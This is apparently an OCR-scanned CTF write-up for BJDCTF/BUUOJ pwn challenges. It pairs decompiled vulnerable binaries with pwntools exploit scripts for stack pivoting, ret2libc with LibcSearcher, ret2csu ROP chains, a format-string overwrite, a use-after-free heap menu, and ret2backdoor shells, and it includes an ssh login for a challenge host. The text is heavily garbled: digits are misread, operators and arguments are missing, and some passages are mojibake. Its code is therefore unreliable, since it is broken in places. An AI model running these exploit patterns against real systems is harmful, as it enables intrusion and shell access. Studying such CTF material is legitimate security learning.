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" size_t v@; // eax
size_t vi1; // eax
char buf; // [esp+Bh] [ebp-18h]

ve = strlen(ml);

write(1l, ml, ve);

read(e, &s, @x2eeu);

vl = strlen(m2);

write(1, m2, vl);

return read(@, &:uf, @x29u);
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from pwn import

from LibcSearcher import

process(
context.log level
elf = ELF(

Ox804A300
0x08048408
elf.plt[
elf.got|

.sym[

p32(write_plt) p32(main_addr) p32(write_got) p32(4)
, payloadl)

0x18 + p32(bss_addr + 4) p32(leave_ret)
, payload2)

write_addr u3d2(r.recv(4))

libc LibcSearcher( , write_addr)
libc_base = write_addr libc.dump(
system_addr libc_base libc.dump(

print (write_addr)

p32(system_addr) p32(bss_addr)
, payloadl)

p32(bss_addr + 4) p32(leave_ret)
, payload2)

r.interactive()
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int __cdecl main(int argc, const char **argv

{

char buf; // [rsp+éh] [rbp-36h]
unsigned __inté4 v5; // [rsp+28h] [rbp-8h]

v5 = _ readfsqword(©x28u);
read(@, &buf, @x38ull);
printf(&buf, &buf);

return ©;
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from pwn import

r = remote( ,26360)
elf = ELF( )
_stack_chk_fail elf.got|[ ]

payload p64(__stack chk fail+2) p64(__ stack chk fail)
r.sendline(payload)

r.interactive()
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ssize_t vulnerable_function()

{
char buf; // [esp+Bh] [ebp-88h]

write(1, "Input:\n", 7u);
return read(@, &buf, ©xleeu);
}
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from pwn import

elf.plt[
elf.got|
elf.sym[

Ox8c

p32(write plt) p32(main_addr)

, payload)

u3d2(r.recv(4))

(write_addr)

libc_base = write_addr libc.sym[

system_addr libc_base libc.sym[

bin_sh = libc_base + libc.search(

print (libc_base)

0x8c

p32(main_addr)

payload p32(system_addr)

r.sendafter( , payload)

r.interactive()
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p32(1) p32(write_got)

p32(bin_sh)
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int __cdecl main(int argc, const char **argv, const char **envp)

{

char buf; // [esp+2Ch] [ebp-5Ch]

unsigned int v5; // [esp+7Ch] [ebp-Ch]

v5 = _ readgsdword(@xl4u);

be_nice_to_people();

memset(&buf, @, @x56u);

read(@, &buf, @x50u);

printf(&buf);

printf("%d!\n", x);

if ((x ==4)

{ -

puts("running sh...");
system("”/bin/sh");

}

return ©;
}
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[ I [ mempage public DAT!
_f?.[ LOAD 08049F2Z8 08049FF0 R W L 0002 blic DATA
I_fi .got 08049FF0 08049FF4 R W L dword 000E  public DATA
acl  got.plt 0B8049FF4 08044024 R W L dword 000F public DATA
08044024 0804A030 R L public DATA
I_fi .bss 08044030 0804A038 R W L dword 0011 public BSS
_fi .prgend 08044038 0804A039 P2 9 L byte 0012 public

_fi extern 0804A03C 0804A060 P2 9 L dword 0013 public
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from pwn import

r remote( , 29261)

X_addr 0x804A02C

payload p32(x_addr)
r.sendline(payload)

r.interactive()
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IBJDCTF 2nd]test
1

Ubuntu 14.04

Use ssh to connect. Username: ctf Password: test

Instance Info
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ssh -p 26161 ctf@node3.buuoj.cn
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int __cdecl main(int argc, const char **argv, const char **envp)

(
__int64 v4; // [rsp+eh] [rbp-88h] BYREF

write(1l, "Input your message:\n", ©€x14uLL);

read(®, &v4, @xleeuLl);
return write(1l, "I have received your message, Thank you!\n", @x29uLL);

B

int good_game()
{
FILE *ve@; // rbx
int result; // eax
char buf[9]; // [rsp+Fh] [rbp-2h] BYREF

ve = fopen(“"flag.txt"”, "r");
while ( 1 )

{
result = fgetc(ve);
buf[@] = result;
if ( (_BYTE)result == @xFF )
break;
write(1, buf, 1uLL);
}

return result;
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; int __cdecl main(int argc, const char **argv, const char **envp)
public main

main proc near

; __unwind {

sub rsp, 88h

mov edx, 14h ;N

mov esi, offset alnputYourMessa ; "Input your message:\n"
mov edi, 1 ; fd

call _write

mov rsi, rsp ; buf

mov edx, 1eeh ; hbytes

xor edi, edi ; fd

call _read

mov edx, 29h : ")" : n

mov esi, offset aIHaveReceivedY ; "I have received your message, Thank you".
mov edi, 1 ; fd

call _write

add rsp, 88h

retn

; 1 // starts at 40@4E@

main endp
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from pwn import

r remote( , 25451)

good_addr 0x400620

payload ox88 p64(good_addr)
r.sendlineafter( , payload)

r.interactive()
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ssize t vulnerable_function()

{

return read(@, buf, exleeu);
¥

exp

from pwn import

from LibcSearcher import

r remote( , 26826)
elf = ELF(

elf.got|
elf.plt]
elf.symbols[

Ox8c p32(write_plt)
p32(main_addr)
p32(1) p32(read_got) p32(4)
r.sendline(payload)

read_addr u32(r.recvuntil( )[-4:1)

LibcSearcher( , read_addr)

libc_base read_addr libc.dump(

system_addr libc_base libc.dump(
binsh_addr libc_base libc.dump(

Ox8c p32(system_addr)
p32(main_addr)
p32(binsh_addr)

r.sendline(payload)

r.interactive()
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char buf[136]; // [esp+Bh] [ebp-88h] BYREF
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int _ cdecl main(int argc, const char **argv, const char **envp)
{

char buf[12]; // [rsp+6h] [rbp-16h] BYREF

size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

setvbuf(_bss_start, eLL, 2, 6LL);
setvbuf(stdin, eLL, 1, eLL);
LODWORD(nbytes) = @;
puts(”**********************************”);
puts("* Welcome to the BIDCTF! Y
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! Y
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
if ( (int)nbytes > 1@ )
{
puts("Oops,u name is too long!");
exit(-1);
}
puts("[+]What's u name?");
read(@, buf, (unsigned int)nbytes);
return 9;
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from pwn import
context.log level
r remote( , 28944)

backdoor 0x400726

payload 0x18 + p64(backdoor)
r.sendlineafter(

r.sendlineafter( , payload)
r.interactive()
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ssize_t vulnerable_function()

{
char buf[128]; // [rsp+@h] [rbp-80h] BYREF

write(1l, "Input:\n", 7uLl);
return read(®, buf, @x2eeuLL);
¥
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call

leave
ret
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A DL B Fzret2csu.

.text:0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init+54lj
.text:0000000000400690 mov rdx, ri3

.text:0000000000400693 mov rsi, rid

.text:0000000000400696 mov edi, ri5d

.text:0000800000460699 call ds:(__frame_dummy_init_array_entry - 60084@h)[rl2+rbx*8]
.text:000000000040069D add rbx, 1

.text:00000000004006A1 cmp rbx, rbp

.text:00000000004006A4 jnz short loc_400690

.text:00000000004086A6

.text:00000000004006A6 loc_4006A6: ; CODE XREF: _ libc_csu_init+361]
.text:00000000004086A6 add rsp, 8

.text:00000000004006AA pop rbx

.text:00000000004006AB pop rbp

.text:00000000004006AC pop ri2

.text:00000000004006AE pop ril3

.text:00000000004006B0 pop ri4

.text:00000000004006B2 pop rils

.text:00000000004006B4 retn

Hillibc_csu_initH i) gadget ke #4i& AT THIROP.

exp



from pwn import

from LibcSearcher import

r remote( , 25360)
elf = ELF(

read_got elf.got|[

write plt elf.plt[
main_addr = elf.symbols][
pop_rdi_ret 0x4006b3
pop_rsi ri15 ret 0x4006b1

0x88
p64(pop_rdi_ret) p64(1)
p64(pop_rsi ri5 ret) p64(read_got) p64(9)
p64(write plt)
p64(main_addr)
r.sendlineafter( , payload)

read_addr = u64(p.recvuntil( )[-6:].1just(8,
libc LibcSearcher( , read_addr)

libc_base read_addr libc.dump(

system_addr libc_base libc.dump(

binsh_addr libc_base libc.dump(

payload 0x88

payload p64(pop_rdi_ret) p64(binsh_addr)
payload p64(system_addr)

r.sendlineafter( , payload)

r.interactive()
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PRI

LiLnt menu()

puts(&byte_ 400E6F);
puts("l.add a girlfriend");
puts("2.dele a girlfriend");
puts(”3.show a girlfriend");
puts("4.exit");

return puts("u choice :");

SHLL
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XA

v4 = __readfsqword(©x28u);
if ( count > 7 )
{
puts(“Full!™);
exit(-1);
}
if ( !girlfriends[e] )
{
girlfriends[@] = malloc(@xleuLL);
if ( !girlfriends[@] )
{
perror("malloc failed=");
exit(-1);
}
}
girlfriends[@][1] = print_girlfriend_name;
puts(“Please input the length of her name:");
read(e, &buf, 8ulLL);
nbytes = atoi(&buf);
vl = (void **)girlfriends[e];
*v8 = malloc(nbytes);
if ( !'*girlfriends[e] )
{
perror("name malloc failed=");
exit(-1);
}
puts(“Please tell me her name:");
read(@, *(void **)girlfriends[@], (unsigned int)nbytes);
puts(“"what a beautiful name! Thank you on behalf of yds!");
++count;
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gf[0] addr of name [

Nname

Bprint gf name

THEEdele k%L

v3 = __readfsqword(@x28u);
printf("Index :");
read(@, &buf, 4uLL);
vl = atoi(&buf);
if ( vl >= @ & vl < count )
{
if ( girlfriends[vl] )
{
free((void *)*girlfriends[vl]);
free(girlfriends[v1]);
puts("Why are u so cruel!");
}
¥

else

{
puts("Out of bound!");

}

return __readfsqword(ex28u) ~ v3;
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v3 = __readfsqword(@x28u);
printf("Index :");
read(@, &buf, 4uLL);
vl = atoi(&buf);
if (vl >= © && vl < count )
{

if ( girlfriends[v1] )

((void (__fastcall *)( _QWORD *, char *))girlfriends[v1][1])(girlfriends[v1l], &buf);

}

else

{
puts("Out of bound!");

}

return __readfsqword(@x28u) ~ v3;
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int backdoor()

{
puts("YDS got N+ girlfriends!");

return system("/bin/sh");

}
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if ( !girlfriends[@] )
{
girlfriends[@] = malloc(@x10@uLL);
if ( !girlfriends[e] )
{
perror("malloc failed=");
exit(-1);
}
¥

Pt LAEILAE gfTO] Lt 50 (14 42 2 — ARk 375 1) chunk s it Y

0x1fd4260.

SR 5 of it puts BR B H 7 BLAE S 1 A systemF) il , 385 45 5 R —Vkshow, BT LLEE $shell.
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